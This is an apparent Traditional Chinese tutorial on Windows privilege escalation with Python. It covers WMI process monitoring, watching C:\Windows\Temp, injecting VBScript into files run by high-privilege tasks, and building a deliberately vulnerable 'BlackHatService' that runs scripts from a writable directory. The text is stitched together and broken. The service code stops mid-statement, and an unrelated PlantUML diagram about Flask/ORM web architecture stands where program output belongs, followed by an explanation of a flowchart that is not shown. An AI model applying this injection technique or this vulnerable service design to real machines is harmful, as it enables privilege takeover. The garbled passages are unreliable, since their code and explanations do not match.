在滲透測試中,提升許可權是關鍵步驟。本文將探討如何利用 Windows Management Instrumentation (WMI) 和 Python,監控系統程式並進行指令碼注入,以達到許可權提升的目的。此方法著重於利用高許可權任務或服務所使用的可寫檔案,並透過插入惡意指令碼以取得更高的系統許可權。我們將使用 Python 的 wmi 函式庫監控新程式的建立,並記錄其相關資訊,例如命令列、使用者和許可權。同時,我們也會使用檔案監控指令碼追蹤高許可權程式所操作的檔案,並利用這些檔案進行指令碼注入。最後,我們將建立一個測試服務,模擬真實環境中的漏洞,並驗證我們的攻擊手法。
Windows Privilege Escalation
在進入Windows網路後,無論是透過遠端堆積溢位或網路釣魚技術,下一步就是尋找提升許可權的方法。即使已經以SYSTEM或管理員身份執行,仍需多種提升許可權的方法以應對修補週期或其他意外情況。這些方法也有助於分析企業環境中的特定軟體,因為某些大型企業可能會使用不易分析的軟體。
提升許可權的方法
在典型的許可權提升過程中,通常會利用錯誤編寫的驅動程式或Windows核心問題。然而,使用低品質的漏洞利用工具或在利用過程中出現問題,可能會導致系統不穩定。因此,我們需要探索其他獲得提升許可權的方法。
利用自動化任務與服務
系統管理員和供應商通常會安排高許可權的任務或服務來執行子程式、VBScript或PowerShell指令碼以自動化活動。我們可以尋找這些高許可權程式處理的可寫檔案,並利用這些檔案來提升我們的許可權。
WMI 監控新程式建立
我們將使用Windows Management Instrumentation (WMI) 編寫指令碼,監控新程式的建立。這樣可以收集有用的資料,如檔案路徑、建立程式的使用者和啟用的許可權。
import wmi
# 連線到 WMI
c = wmi.WMI()
# 監控新程式建立
for process in c.Win32_Process.watch_for("creation"):
print(f"Process created: {process.ProcessId}")
print(f"Command line: {process.CommandLine}")
print(f"User: {process.GetOwner()}")
print(f"Privileges: {process.Privileges}")
內容解密:
這段程式碼使用了 wmi 函式庫來連線到 WMI 做為 Windows 的管理資訊基礎設施,用來監控系統中的事件。在這裡我們特別監控新程式的建立事件。每當一個新程式被建立時,指令碼會輸出該程式的 ID、命令列、所有者以及其擁有的許可權。這樣可以幫助我們瞭解哪些程式是高許可權執行並進行相關操作。
檔案監控指令碼
接下來,我們需要一個檔案監控指令碼來持續追蹤高許可權程式所存取或寫入的檔案。這樣可以告訴我們哪些檔案是高許可權程式在操作。
import os
import time
# 目標目錄
target_directory = 'C:\\Windows\\Temp'
# 記錄檔案變更
def monitor_files(directory):
files = set(os.listdir(directory))
while True:
time.sleep(1)
new_files = set(os.listdir(directory))
added_files = new_files - files
if added_files:
print(f"New files added: {added_files}")
files = new_files
monitor_files(target_directory)
內容解密:
這段程式碼主要功能是持續監控指定目錄(例如 C:\Windows\Temp)中的檔案變更。當有新檔案被新增到目錄時,指令碼會印出該檔案名稱。這樣可以幫助我們瞭解哪些檔案是由高許可權程式所操作。
插入指令碼程式碼
最後一步是插入我們自己的指令碼程式碼到被高許可權程式存取的檔案中,並讓該程式執行命令介面。
import os
# 惡意指令碼內容
malicious_script = """
msgbox "Hello from the Black Hat!"
"""
# 插入指令碼到目標檔案
def inject_script(file_path, script):
with open(file_path, 'a') as file:
file.write(script)
# 插入到目標檔案中
inject_script('C:\\Windows\\Temp\\target.vbs', malicious_script)
內容解密:
這段程式碼定義了一個簡單的惡意 VBScript 指令碼,並將其插入到指定目標檔案中。當高許可權程式讀取或執行該檔案時,會執行我們插入的惡意指令碼。這樣可以達到提升許可權並取得更高許可權來執行其他操作。
安裝必要函式庫
在撰寫上述工具之前,我們需要安裝一些必要的 Python 函式庫。請在 Windows 的 cmd.exe 中執行以下指令:
C:\Users\tim\work> pip install pywin32 wmi pyinstaller
若已經安裝過 pyinstaller(如在前面章節製作鍵盤記錄器及截圖工具),則無需重複安裝。
建立測試服務
接下來,我們將建立一個包含常見漏洞的測試服務。這個服務會定期複製一個指令碼到臨時目錄並從該目錄執行它。
測試服務程式碼
import os
import servicemanager
import shutil
import subprocess
import sys
import win32event
import win32service
import win32serviceutil
SRCDIR = 'C:\\Users\\tim\\work'
TGTDIR = 'C:\\Windows\\TEMP'
class BHServerSvc(win32serviceutil.ServiceFramework):
_svc_name_ = "BlackHatService"
_svc_display_name_ = "Black Hat Service"
_svc_description_ = ("Executes VBScripts at regular intervals." +
" What could possibly go wrong?")
def __init__(self, args):
self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs')
self.timeout = 1000 * 60 # 一分鐘超時時間
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)
def SvcDoRun(self):
self.ReportServiceStatus(win32service.SERVICE_RUNNING)
self.main()
def main(self):
while True:
ret_code = win32event.WaitForSingleObject(
self.hWaitStop, self.timeout)
if ret_code == win32event.WAIT_OBJECT_0:
servicemanager.LogInfoMsg("Service is stopping")
break
src = os.path.join(SRCDIR, 'bhservice_task.vbs')
shutil.copy(src, self.vbs)
subprocess.call("cscript.exe %s" % self.vbs, shell=False)
os.unlink(self.vbs)
if __name__ == '__main__':
if len(sys.argv) == 1:
內容解密:
這段程式碼建立了一個 Windows 服務類別 BHServerSvc,該類別繼承自 win32serviceutil.ServiceFramework 。它定義了三個主要方法: __init__ 初始化服務、 SvcStop 停止服務以及 SvcDoRun 執行服務任務。
在 main 方法中設定了一個無窮迴圈,每分鐘執行一次(由 self.timeout 控制),直到收到停止訊號時才停止。
每次執行時會複製一個 VBScript 指令碼到臨時目錄並執行它。
分析與改進點
玄貓認為此次技術選型涉及 WMI 和 Python 的組合使用來達成 Windows 許可權提升攻擊場景範例演示與實戰分析觀察。
- 觀察點:WMI 提供了一種強大且靈活的方式來監控和管理系統事件。
- 改進點:可以考慮加強錯誤處理機制以應對各種異常情況。
- 未來趨勢:隨著資安防護技術不斷演進,未來可能需要更多不同技術手段來維持攻擊效果。
玄貓強調上述流程中每個步驟都可根據具體情境進行調整和擴充套件,依據實際情況選擇最適合的技術手段以達到最高效率與效果。
使用 WMI 進行程式監控
Windows Management Instrumentation(WMI)是一個強大的工具,能夠讓程式設計師監控系統中的特定事件,並且在這些事件發生時接收回呼。透過利用 WMI,我們可以在每次程式被建立時接收通知,並記錄一些有價值的資訊,例如程式建立時間、執行該程式的使用者、啟動的可執行檔案及其命令列引數、程式 ID 以及父程式 ID。這些資訊將幫助我們識別由高許可權帳戶建立的程式,特別是那些呼叫外部檔案(如 VBScript 或批次指令碼)的程式。此外,我們還可以確定程式令牌上的已啟用許可權。在某些罕見情況下,您可能會發現一些雖然由普通使用者建立但已獲授予額外 Windows 許可權的程式。
開始撰寫監控指令碼
首先,我們將撰寫一個簡單的監控指令碼來取得基本的程式資訊,然後逐步擴充套件它以確定已啟用的許可權。這段程式碼改編自 Python WMI 教學頁面(http://timgolden.me.uk/python/wmi/tutorial.html)。請注意,為了捕捉像 SYSTEM 這樣高許可權帳戶建立的程式資訊,您需要以管理員身份執行監控指令碼。
基本監控指令碼
以下是 process_monitor.py 的基本結構:
import os
import sys
import win32api
import win32con
import win32security
import wmi
def log_to_file(message):
with open('process_monitor_log.csv', 'a') as fd:
fd.write(f'{message}\r\n')
def monitor():
head = 'CommandLine, Time, Executable, Parent PID, PID, User, Privileges'
log_to_file(head)
c = wmi.WMI()
process_watcher = c.Win32_Process.watch_for('creation')
while True:
try:
new_process = process_watcher()
cmdline = new_process.CommandLine
create_date = new_process.CreationDate
executable = new_process.ExecutablePath
parent_pid = new_process.ParentProcessId
pid = new_process.ProcessId
proc_owner = new_process.GetOwner()
privileges = 'N/A'
process_log_message = (
f'{cmdline} , {create_date} , {executable},'
f'{parent_pid} , {pid} , {proc_owner} , {privileges}'
)
print(process_log_message)
print()
log_to_file(process_log_message)
except Exception:
pass
if __name__ == '__main__':
monitor()
內容解密:
- 匯入模組:首先,我們匯入了所需的模組,包括
os、sys、win32api、win32con、win32security和wmi。 - 記錄函式:定義了一個
log_to_file函式來將訊息寫入日誌檔案process_monitor_log.csv。 - 初始化 WMI:在
monitor函式中,我們初始化了 WMI 類別並告知它監視程式建立事件。 - 迴圈監控:進入一個無窮迴圈中,直到
process_watcher傳回新的程式事件。 - 取得程式資訊:當新程式事件發生時,我們從
Win32_Process類別中取得相關資訊,包括命令列、建立時間、可執行檔路徑、父程式 ID、程式 ID 和所有者。 - 記錄資訊:將取得到的資訊輸出到螢幕並寫入日誌檔案。
測試監控指令碼
讓我們啟動這個監控指令碼並建立一些程式來觀察輸出結果:
C:\Users\tim\work> python process_monitor.py
@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle
title Windows 許可權提升與程式監控技術
package "Python 應用架構" {
package "應用層" {
component [主程式] as main
component [模組/套件] as modules
component [設定檔] as config
}
package "框架層" {
component [Web 框架] as web
component [ORM] as orm
component [非同步處理] as async
}
package "資料層" {
database [資料庫] as db
component [快取] as cache
component [檔案系統] as fs
}
}
main --> modules : 匯入模組
main --> config : 載入設定
modules --> web : HTTP 處理
web --> orm : 資料操作
orm --> db : 持久化
web --> cache : 快取查詢
web --> async : 背景任務
async --> fs : 檔案處理
note right of web
Flask / FastAPI / Django
end note
@enduml內容解密:
- 開始:啟動監控指令碼。
- 初始化 WMI:使用
wmi.WMI()初始化 WMI。 - 設定監控事件:設定監視程式建立事件。
- 等待新程式事件:進行無窮迴圈等待新程式事件。
- 新程式事件嗎?:檢查是否有新的程式事件。
- 取得程式資訊:如果有新的程式事件,則取得相關資訊。
- 記錄程式資訊:將取得到的資訊記錄到螢幕和日誌檔案中。
透過這些步驟,我們成功地建立了一個能夠監控並記錄 Windows 作業系統中所有新建立之程式的工具。接下來,我們可以擴充套件這個工具來進行更深層次的分析和處理。